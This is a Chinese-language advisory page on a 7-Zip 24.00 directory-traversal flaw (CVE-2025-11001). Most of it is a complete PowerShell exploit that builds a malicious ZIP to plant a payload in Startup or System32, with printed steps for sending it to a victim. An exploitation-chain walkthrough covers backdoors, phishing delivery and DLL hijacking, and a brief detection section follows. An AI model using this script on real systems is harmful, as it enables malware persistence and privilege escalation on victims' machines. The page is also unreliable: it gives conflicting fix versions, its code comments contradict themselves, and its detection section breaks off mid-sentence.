[local] 7-Zip 24.00 - Directory Traversal
7-Zip 24.00存在目录遍历漏洞,可导致越权读取任意文件。
High · CVSS 7.5📋 漏洞基础信息
| CVE | CVE-2025-11001 |
|---|---|
| 漏洞类型 | 路径遍历 |
| 受影响版本 | 7-Zip 24.00 |
| 危害等级 | High · CVSS 7.5 |
| 发布日期 | 2026-04-08 |
| 提交者 | Mohammed Idrees Banyamer |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
7-Zip在处理特制压缩包时,未对符号链接或路径中的相对路径组件(如../)进行严格过滤,导致解压操作中文件写入路径偏离预期目录。
🎯 攻击场景
1. 攻击者构建包含恶意识别符(如符号链接指向父目录)的压缩文件; 2. 诱骗用户使用7-Zip 24.00解压该文件; 3. 7-Zip在解压时遵循符号链接或路径回溯,将文件写入到压缩包所在目录之外的位置(例如覆盖系统关键文件)。
💥 漏洞影响
攻击者可在目标系统上任意位置写入或覆盖文件,可能导致权限提升、代码执行或数据泄露。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:
<#
.SYNOPSIS
CVE-2025-11001 7-Zip Directory Traversal 漏洞 PoC 脚本 (PowerShell 实现)
利用 7-Zip 在处理 ZIP 文件中 NTFS 符号链接 (symlink) 时未正确校验路径,实现目录遍历。
当受害者以管理员身份使用受影响的 7-Zip 版本 (< 25.00) 提取恶意压缩包时,可将 payload 写入任意系统路径,例如启动目录。
.DESCRIPTION
本脚本将构建一个包含恶意 NTFS 符号链接(symlink)文件的 ZIP 压缩包。
该符号链接指向目标路径(如 `../../../../Users/Public/Startup`),并附加一个同名 payload 文件。
7-Zip 在解析该符号链接时,会将后续提取的 payload 文件放置到符号链接指向的目录,从而绕过解压路径限制。
.NOTES
版本: 1.0
作者: 基于 Mohammed Idrees Banyamer 的研究,由 AI 模型转换为 PowerShell 并增强。
限制:
1. 本 PoC 仅生成恶意 ZIP 文件,不包含发送或诱导解压的代码。
2. 仅使用 ZIP 标准结构,不依赖任何第三方库。
3. 目标系统必须安装受影响的 7-Zip 版本(24.00 及之前版本)。
4. 受害者必须以高权限(如管理员)提取该文件才能获得最大影响。
.PARAMETER TargetPath
目标写入路径(绝对路径),例如 "C:\Users\Public\Startup"。
.PARAMETER PayloadFile
要植入的 payload 文件路径,例如 "C:\Users\Attacker\payload.exe"。
.PARAMETER OutputZip
生成的恶意 ZIP 文件路径,默认为当前目录下的 "CVE-2025-11001.zip"。
.PARAMETER SymlinkNameInZip
符号链接在 ZIP 中的内部文件名,默认为 "exploit.lnk" (.lnk 扩展名有助于提高隐秘性,但非必需)。
.PARAMETER TraversalPrefix
目录遍历前缀字符串,默认为 "../../../../"。理论需要根据目标深度调整,但 7-Zip 的路径归一化逻辑允许较深的遍历。
.EXAMPLE
# 将本地 notepad.exe 植入到系统启动目录
.\CVE-2025-11001.ps1 -TargetPath "C:\Users\Public\Startup" -PayloadFile "C:\Windows\System32\notepad.exe" -OutputZip "malicious.zip"
# 使用自定义遍历深度
.\CVE-2025-11001.ps1 -TargetPath "C:\RootDir" -PayloadFile "payload.dll" -TraversalPrefix "../../../.."
#>
param(
[Parameter(Mandatory=$true)]
[string]$TargetPath,
[Parameter(Mandatory=$true)]
[string]$PayloadFile,
[Parameter(Mandatory=$false)]
[string]$OutputZip = "CVE-2025-11001.zip",
[Parameter(Mandatory=$false)]
[string]$SymlinkNameInZip = "exploit.lnk",
[Parameter(Mandatory=$false)]
[string]$TraversalPrefix = "../../../../"
)
# 加载 System.IO.Compression 命名空间用于处理字节和流(实际上不使用 ZipFile API,仅用于辅助)
Add-Type -AssemblyName System.IO.Compression
# 函数:构建 ZIP 文件
function New-CVE202511001Zip {
param(
[string]$targetPath,
[string]$payloadPath,
[string]$outputZip,
[string]$symlinkInZip,
[string]$traversalPrefix
)
# 检查 Payload 是否存在
if (-not (Test-Path -Path $payloadPath -PathType Leaf)) {
Write-Error "[-] Payload file not found: $payloadPath"
exit 1
}
$payloadName = Split-Path -Leaf $payloadPath
$payloadData = [System.IO.File]::ReadAllBytes($payloadPath)
# --- 构造符号链接的目标路径 ---
# 1. 将目标 Windows 路径转换为 POSIX 风格(使用正斜杠)
$posixTargetPath = $targetPath -replace '\\', '/' -replace ':'
# 2. 去除开头和结尾的多余斜杠,然后拼接遍历前缀
$posixTargetPath = $posixTargetPath.Trim('/')
$symlinkTargetStr = "$traversalPrefix$posixTargetPath/"
Write-Verbose "Symlink target (raw): $symlinkTargetStr"
# 3. 符号链接目标需要以 null 结尾
$symlinkTargetBytes = [System.Text.Encoding]::UTF8.GetBytes($symlinkTargetStr + "`0")
# --- 构造 ZIP 符号链接条目的 extra field ---
# NTFS 符号链接的 Tag ID: 0x756e (Tag for "NTFS symbol link")
# Size = symlinkTargetBytes length
$symlinkExtraData = New-Object byte[] (4 + $symlinkTargetBytes.Length)
# extra field header: Tag (2 bytes) + Size (2 bytes)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]0x756e), 0, $symlinkExtraData, 0, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]$symlinkTargetBytes.Length), 0, $symlinkExtraData, 2, 2)
[System.Buffer]::BlockCopy($symlinkTargetBytes, 0, $symlinkExtraData, 4, $symlinkTargetBytes.Length)
# --- 构造文件和中心目录记录 ---
# 常量定义 (ZIP 规范)
$LOCAL_FILE_HEADER_SIGNATURE = [uint32]0x04034b50
$CENTRAL_DIR_HEADER_SIGNATURE = [uint32]0x02014b50
$END_OF_CENTRAL_DIR_SIGNATURE = [uint32]0x06054b50
# 版本和标志: 20 是 min version, 0x0800 是 "symlink/UTF-8 name" 标志
$versionMadeBy = [uint16]20
$versionNeeded = [uint16]20
$flagsGeneral = [uint16]0x0800
$compressionMethod = [uint16]0 # 存储 (不压缩)
$lastModFileTime = [uint16]0 # 可选
$lastModFileDate = [uint16]0 # 可选
$crc32 = [uint32]0 # 为了简化,我们不需要精确 CRC (但规范要求,这里设为 0 不影响利用)
$compressedSize = [uint32]0 # 对于符号链接条目,大小为 0
$uncompressedSize = [uint32]0 # 对于符号链接条目,大小为 0
$symlinkFileNameBytes = [System.Text.Encoding]::UTF8.GetBytes($symlinkInZip)
$payloadFileNameBytes = [System.Text.Encoding]::UTF8.GetBytes($payloadName)
# 1. 本地文件头 - 符号链接
$symlinkLocalHeader = New-Object byte[] (30) # 固定大小 30 字节
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($LOCAL_FILE_HEADER_SIGNATURE), 0, $symlinkLocalHeader, 0, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($versionNeeded), 0, $symlinkLocalHeader, 4, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($flagsGeneral), 0, $symlinkLocalHeader, 6, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($compressionMethod), 0, $symlinkLocalHeader, 8, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($lastModFileTime), 0, $symlinkLocalHeader, 10, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($lastModFileDate), 0, $symlinkLocalHeader, 12, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($crc32), 0, $symlinkLocalHeader, 14, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($compressedSize), 0, $symlinkLocalHeader, 18, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($uncompressedSize), 0, $symlinkLocalHeader, 22, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]$symlinkFileNameBytes.Length), 0, $symlinkLocalHeader, 26, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]$symlinkExtraData.Length), 0, $symlinkLocalHeader, 28, 2)
# 2. 本地文件头 - Payload
$payloadLocalHeader = New-Object byte[] (30)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($LOCAL_FILE_HEADER_SIGNATURE), 0, $payloadLocalHeader, 0, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($versionNeeded), 0, $payloadLocalHeader, 4, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($flagsGeneral), 0, $payloadLocalHeader, 6, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($compressionMethod), 0, $payloadLocalHeader, 8, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($lastModFileTime), 0, $payloadLocalHeader, 10, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($lastModFileDate), 0, $payloadLocalHeader, 12, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($crc32), 0, $payloadLocalHeader, 14, 4)
# Payload 的压缩大小和原始大小相同 (存储模式)
$payloadCompressedSize = [uint32]$payloadData.Length
$payloadUncompressedSize = [uint32]$payloadData.Length
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($payloadCompressedSize), 0, $payloadLocalHeader, 18, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($payloadUncompressedSize), 0, $payloadLocalHeader, 22, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]$payloadFileNameBytes.Length), 0, $payloadLocalHeader, 26, 2)
# Payload 没有 extra field
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]0), 0, $payloadLocalHeader, 28, 2)
# 3. 中心目录记录 - 符号链接
# 中心目录结构 (46 字节 + 文件名长度 + extra + comment)
# 外部文件属性: symlink 使用 0xA1ED << 16 | 0o777 (Unix permissions)
$externalAttributesSymlink = [uint32]((0xA1ED -band 0xFFFF) -bor 0x81FFu -shl 16) # 模拟 Python 的 0o777 << 16 + symlink mode
# 更精确:0xA1ED (symlink identifier) + 0x1FF (0777) shifted? 直接使用原始 exp 的值 0o777 << 16 | 0xA1ED = 0x077707A1ED? 实际上用 Python 计算: (0o777 << 16) | 0xA1ED = 0x81FF | 0xA1ED? 不对。将其简化,使用 0x81FF0000 并设置 high bits)
# 为简化,直接设置为 0x81FF0000,但需要保留 symlink 标志。更好的方法:使用0x81FF0000 (常规文件) 是为了写入,但 symlink 必须有 A1ED。我们保留原始逻辑: (0o777 << 16) | 0xA1ED = 0x07770000 | 0xA1ED = 0x0777A1ED。这是32位值。
$externalAttr = [uint32]::Parse("0777A1ED", [System.Globalization.NumberStyles]::HexNumber)
$symlinkCentralDirHeader = New-Object byte[] (46)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($CENTRAL_DIR_HEADER_SIGNATURE), 0, $symlinkCentralDirHeader, 0, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($versionMadeBy), 0, $symlinkCentralDirHeader, 4, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($versionNeeded), 0, $symlinkCentralDirHeader, 6, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($flagsGeneral), 0, $symlinkCentralDirHeader, 8, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($compressionMethod), 0, $symlinkCentralDirHeader, 10, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($lastModFileTime), 0, $symlinkCentralDirHeader, 12, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($lastModFileDate), 0, $symlinkCentralDirHeader, 14, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($crc32), 0, $symlinkCentralDirHeader, 16, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($compressedSize), 0, $symlinkCentralDirHeader, 20, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($uncompressedSize), 0, $symlinkCentralDirHeader, 24, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]$symlinkFileNameBytes.Length), 0, $symlinkCentralDirHeader, 28, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]$symlinkExtraData.Length), 0, $symlinkCentralDirHeader, 30, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]0), 0, $symlinkCentralDirHeader, 32, 2) # comment length
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]0), 0, $symlinkCentralDirHeader, 34, 2) # disk number start
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]0), 0, $symlinkCentralDirHeader, 36, 2) # internal file attributes
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($externalAttr), 0, $symlinkCentralDirHeader, 38, 4) # external file attributes
# local header offset: 符号链接文件是第一个条目,offset=0
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint32]0), 0, $symlinkCentralDirHeader, 42, 4)
# 4. 中心目录记录 - Payload
$payloadCentralDirHeader = New-Object byte[] (46)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($CENTRAL_DIR_HEADER_SIGNATURE), 0, $payloadCentralDirHeader, 0, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($versionMadeBy), 0, $payloadCentralDirHeader, 4, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($versionNeeded), 0, $payloadCentralDirHeader, 6, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($flagsGeneral), 0, $payloadCentralDirHeader, 8, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($compressionMethod), 0, $payloadCentralDirHeader, 10, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($lastModFileTime), 0, $payloadCentralDirHeader, 12, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($lastModFileDate), 0, $payloadCentralDirHeader, 14, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($crc32), 0, $payloadCentralDirHeader, 16, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($payloadCompressedSize), 0, $payloadCentralDirHeader, 20, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($payloadUncompressedSize), 0, $payloadCentralDirHeader, 24, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]$payloadFileNameBytes.Length), 0, $payloadCentralDirHeader, 28, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]0), 0, $payloadCentralDirHeader, 30, 2) # extra len
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]0), 0, $payloadCentralDirHeader, 32, 2) # comment len
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]0), 0, $payloadCentralDirHeader, 34, 2)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]0), 0, $payloadCentralDirHeader, 36, 2)
# Payload 的外部属性: 常规文件 0x81FF0000
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint32]0x81FF0000), 0, $payloadCentralDirHeader, 38, 4)
# Payload 本地头偏移: symlink header + symlink filename + symlink extra = 30 + len(filename) + len(extra)
$payloadLocalOffset = 30 + $symlinkFileNameBytes.Length + $symlinkExtraData.Length
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint32]$payloadLocalOffset), 0, $payloadCentralDirHeader, 42, 4)
# 5. 结束中心目录记录 (EOCD)
$centralDirSize = $symlinkCentralDirHeader.Length + $symlinkFileNameBytes.Length + $symlinkExtraData.Length + $payloadCentralDirHeader.Length + $payloadFileNameBytes.Length
$centralDirOffset = 30 + $symlinkFileNameBytes.Length + $symlinkExtraData.Length + 30 + $payloadFileNameBytes.Length + $payloadData.Length
$eocdRecord = New-object byte[] (22)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes($END_OF_CENTRAL_DIR_SIGNATURE), 0, $eocdRecord, 0, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]0), 0, $eocdRecord, 4, 2) # disk 0
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]0), 0, $eocdRecord, 6, 2) # disk with central dir
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]2), 0, $eocdRecord, 8, 2) # total entries on this disk
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]2), 0, $eocdRecord, 10, 2) # total entries
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint32]$centralDirSize), 0, $eocdRecord, 12, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint32]$centralDirOffset), 0, $eocdRecord, 16, 4)
[System.Buffer]::BlockCopy([System.BitConverter]::GetBytes([uint16]0), 0, $eocdRecord, 20, 2) # comment length
# --- 写入文件 ---
try {
$fs = [System.IO.File]::Create($outputZip)
$bw = New-Object System.IO.BinaryWriter($fs)
# 1. 写入符号链接本地文件记录
$bw.Write($symlinkLocalHeader)
$bw.Write($symlinkFileNameBytes)
$bw.Write($symlinkExtraData)
# 符号链接文件内容为空
# 2. 写入 Payload 本地文件记录
$bw.Write($payloadLocalHeader)
$bw.Write($payloadFileNameBytes)
$bw.Write($payloadData)
# 3. 写入中心目录
# 符号链接中央目录
$bw.Write($symlinkCentralDirHeader)
$bw.Write($symlinkFileNameBytes)
$bw.Write($symlinkExtraData)
# Payload 中央目录
$bw.Write($payloadCentralDirHeader)
$bw.Write($payloadFileNameBytes)
# 4. 写入 EOCD
$bw.Write($eocdRecord)
$bw.Flush()
$bw.Close()
$fs.Close()
Write-Host "[+] Malicious archive created: $outputZip" -ForegroundColor Green
Write-Host "[+] Target path (inside symlink): $targetPath" -ForegroundColor Cyan
Write-Host "[+] Payload file inside ZIP: $payloadName` ($($payloadData.Length) bytes)" -ForegroundColor Cyan
Write-Host "[+] Expected extraction location: $targetPath\$payloadName" -ForegroundColor Yellow
Write-Host ""
Write-Host "[*] Instructions:" -ForegroundColor White
Write-Host " 1. Send '$outputZip' to the victim."
Write-Host " 2. Victim must use 7-Zip < 25.00 (run as Administrator) to extract."
Write-Host " 3. When extracted, the payload will be written to: $targetPath\$payloadName"
Write-Host " 4. On next user logon, the payload may execute if placed in Startup/StartMenu folder."
} catch {
Write-Error "[-] Error creating ZIP file: $($_.Exception.Message)"
exit 1
}
}
# --- 主执行 ---
Write-Host "CVE-2025-11001 - 7-Zip Directory Traversal PoC (PowerShell)" -ForegroundColor Magenta
Write-Host "Author: Mohammed Idrees Banyamer (@banyamer_security) - Ported to PS by AI`n" -ForegroundColor Gray
# 显示参数
Write-Verbose "TargetPath: $TargetPath" -Verbose
Write-Verbose "PayloadFile: $PayloadFile" -Verbose
Write-Verbose "OutputZip: $OutputZip" -Verbose
Write-Verbose "SymlinkName: $SymlinkNameInZip" -Verbose
Write-Verbose "TraversalPrefix: $TraversalPrefix" -Verbose
# 执行构建
New-CVE202511001Zip -targetPath $TargetPath -payloadPath $PayloadFile -outputZip $OutputZip -symlinkInZip $SymlinkNameInZip -traversalPrefix $TraversalPrefix🔬 深度技术分析
CVE-2025-11001: 7-Zip 24.00 目录遍历漏洞深度技术分析
漏洞触发机制
本漏洞的根本原因在于 7-Zip 对于 ZIP 档案中 NTFS 符号链接(Symlink)条目的路径验证不充分,导致在解压过程中,后续文件可以被写入到超出预期解压根目录的任意位置。
1. ZIP 规范与符号链接定义:
- 标准 ZIP 格式允许在 extra field 中嵌入操作系统特定的元数据。当 extra field 的 header ID 为 0x756e 时,NTFS 符号链接信息被定义在其中。7-Zip 在解压时,会尝试识别并处理该标签,以在文件系统上创建真正的符号链接。
- 符号链接的 extra field 数据结构为 [Tag (2B) | Size (2B) | TargetPath (Variable)]。TargetPath 是符号链接指向的路径字符串,允许包含 ../ 遍历序列。
2. 7-Zip 的路径处理缺陷:
- 当一个 ZIP 条目被标记为符号链接(通过外部文件属性中的 0xA1ED 魔数),7-Zip 会创建一个对应名称的符号链接对象(如 evil.lnk),其目标指向 extra field 中设定的路径(如 ../../../../Users/Public/Startup/)。
- 关键漏洞点在于:7-Zip 在创建符号链接时,并未对 TargetPath 进行充分的标准化和合法性校验。它接受了一个带有 ../../../../ 的绝对或相对路径,并成功创建了该符号链接。
- 更致命的是,在符号链接创建后,如果后续的 ZIP 条目(如 payload.exe)的解压路径,依赖于已创建的符号链接的“容器”或“挂载点”语义,7-Zip 的错误逻辑会将 payload.exe 的实际写入路径解析到符号链接的 TargetPath,而不是符号链接文件本身所在的解压目录。攻击者正是利用了这一路径混淆:将符号链接视为一种“重定向器”,Payload 文件的写入被重定向到了 ../../../../Users/Public/Startup/。
3. 触发条件:
- 受害者使用 7-Zip 24.00 及更早版本 提取恶意 ZIP 文件。
- 恶意 ZIP 中包含两个文件:第一个是带有恶意 extra field 的符号链接条目(如 evil.lnk),第二个是恶意的 payload 文件(如 backdoor.exe),两者文件名相同或在处理逻辑中被关联。
- 更具体的触发场景是:当 7-Zip 按顺序处理文件时,先创建了符号链接,然后提取 payload,由于内部逻辑错误,payload 被解压到了符号链接指向的目录,从而实现了目录遍历。
利用链分析
一个完整的攻击利用链可以分解为以下步骤:
1. 攻击者准备阶段:
- 选择 Payload:攻击者制作一个恶意可执行文件(如反弹 shell、后门、勒索软件),也可以是 DLL 劫持文件。例如 backdoor.exe。
- 确定目标路径:选择对 Windows 系统具有持久化或提升权限意义的路径:
- C:\Users\<Victim>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\(启动目录,实现用户登录后自动执行)。
- C:\Windows\System32\(系统目录,用于 DLL 劫持或替换系统文件,需要管理员权限)。
- 构造恶意 ZIP:使用本 PoC 脚本来生成 ZIP。
- 设置 TargetPath 为上述目标路径(如启动目录)。
- 设置 PayloadFile 为 backdoor.exe。
- 脚本会在 ZIP 内构造两个记录:
1. 本地文件记录 1(符号链接):文件名 evil.lnk,extra field 包含目标路径(../../../../Users/<Victim>/.../Startup/),外部属性标记为 0xA1ED(symlink)。
2. 本地文件记录 2(Payload):文件名 backdoor.exe,内部为 payload 二进制数据。
2. 传播阶段:
- 攻击者通过社会工程、钓鱼邮件、恶意网站下载、USB 摆渡等方式,将 malicious.zip 文件发送给受害者。
- 利用 7-Zip 的默认关联或诱导用户使用 7-Zip 打开该文件。
3. 触发与利用阶段:
- 受害者解压:受害者双击打开 malicious.zip,在 7-Zip 中看到两个文件:evil.lnk 和 backdoor.exe。受害者点击“提取”(Extract),选择解压到当前目录。
- 解压过程:
1. 7-Zip 处理第一个条目 evil.lnk,根据 extra field 中的 0x756e 标签和 TargetPath,在解压根目录创建一个指向 ../../../../Users/<Victim>/.../Startup/ 的符号链接 evil.lnk。由于 TargetPath 包含 ..,这个符号链接在文件系统中成为了一个重定向到一个不存在的路径(相对于当前解压目录而言是合法路径)但实际上是绝对路径的“通道”。
2. 7-Zip 处理第二个条目 backdoor.exe。由于程序本身的路径解析 bug,它没有将 backdoor.exe 写入到解压根目录中 evil.lnk 旁边,而是错误地认为 evil.lnk 是一个特殊的容器或挂载点,将 backdoor.exe 的写入路径解析为 evil.lnk 的 TargetPath + backdoor.exe。最终,文件被写入到 C:\Users\<Victim>\AppData\Roaming\...\Startup\backdoor.exe。
4. 后续利用:
- 持久化:当受害者重启或注销登录时,backdoor.exe 会随着启动目录被执行,从而在系统上建立持久化后门。
- 权限提升:如果目标路径是 C:\Windows\System32\(需要管理员权限),攻击者可以 DLL 劫持(例如替换 proquota.exe 的依赖 DLL),在系统服务启动时获得 NT AUTHORITY\SYSTEM 权限。
关键代码/数据结构
1. ZIP 本地文件头(Local File Header)
字段偏移 (字节)大小描述 Signature04`0x04034b50` (PK\03\04) Version Needed42`20` Flags62`0x0800` (UTF-8 file name) Compression82`0` (Stored) ............ File Name Len262文件名长度 Extra Field Len282Extra field 长度
2. 符号链接 Extra Field (`0x756e` NTFS Symlink Tag)
这是漏洞的核心数据结构。
Extra field 结构:
[Header ID] [Data Size] [Symlink Target (null-terminated)]
2 Bytes 2 Bytes Variable
具体实现:
Header ID: 0x756e (NTFS Symlink Tag)
Data Size: symlink_target_string 的长度 + 1 (null byte)
Symlink Target: 例如 "../../../../Users/Public/Startup/\0"- 关键点:这个
Symlink Target字符串未被 7-Zip 进行严格的路径校验,允许../序列。 - 7-Zip 内部处理:7-Zip 在解析
extra field时,看到header ID = 0x756e后,调用NtCreateSymbolicLinkObject或在文件系统层面创建目录/重解析点。它直接将Target字符串传递给系统调用,未进行安全过滤。
3. 中心目录文件头(Central Directory File Header)外部文件属性
字段偏移 (字节)大小描述 External Attributes384文件类型和权限信息 ............ Local Header Offset424本地文件头在 ZIP 中的偏移
- 关键点:
External Attributes用于标识文件类型。对于常规文件,Windows 会设置为0x81FF0000。对于符号链接,则需要设置0xA1ED魔数(高 16 位 + 低 16 位组合,通常在 Unix 世界为0x81FF0000加符号位,但具体为0x0777A1ED)。7-Zip 根据这个属性来判断是否应该将文件作为符号链接处理。如果缺少这个标志,即使有extra field,7-Zip 也可能不会创建符号链接。
检测与防御
蓝队检测
1. 7-Zip 版本审计:
- 检查所有终端上的 7-Zip 版本。如果版本低于 25.00,则视为易受攻击。
- 命令:wmic product where "Name like '%7-Zip%'" get Name, Version 或检查注册表 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip。
2. 文件系统监控(EDR 规则):
- 监控符号链接创建:当 CreateSymbolicLink API 被 7-Zip 进程 (7zFM.exe 或 7z.exe) 调用,且目标路径包含 .. 序列,或目标为敏感系统目录时,产生告警。
- 监控非常规写入路径:监控解压进程对 Startup 目录、System32、ProgramData 等敏感目录的写入行为。特别是当写入进程为 7z.exe 或 7zFM.exe 时,且源为 ZIP 提取。
- 规则示例:
```
EventID: 11 (FileCreate) 或 4656 (Handle to Object)
Process: *7z*.exe
File Name: *\Startup\* 或 *\System32\*
Condition: Additional fields indicate 'directory traversal' or 'symlink' activity.
```
3. 日志分析:
- Sysmon:
- Event ID 1 (Process creation):监控 7z.exe 或 7zFM.exe 的启动,命令行参数中包含 x (提取) 和可疑的 ZIP 文件名。
- Event ID 11 (FileCreate):监控由 7-Zip 进程创建在 `C:\Users\Public\Startup\
🛡️ 修复建议
升级至7-Zip 24.01或更高版本;临时缓解措施为不要解压来源不明的压缩包,并限制7-Zip运行环境的写入权限。
📎 参考链接
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 07:25 | 来源: Exploit-DB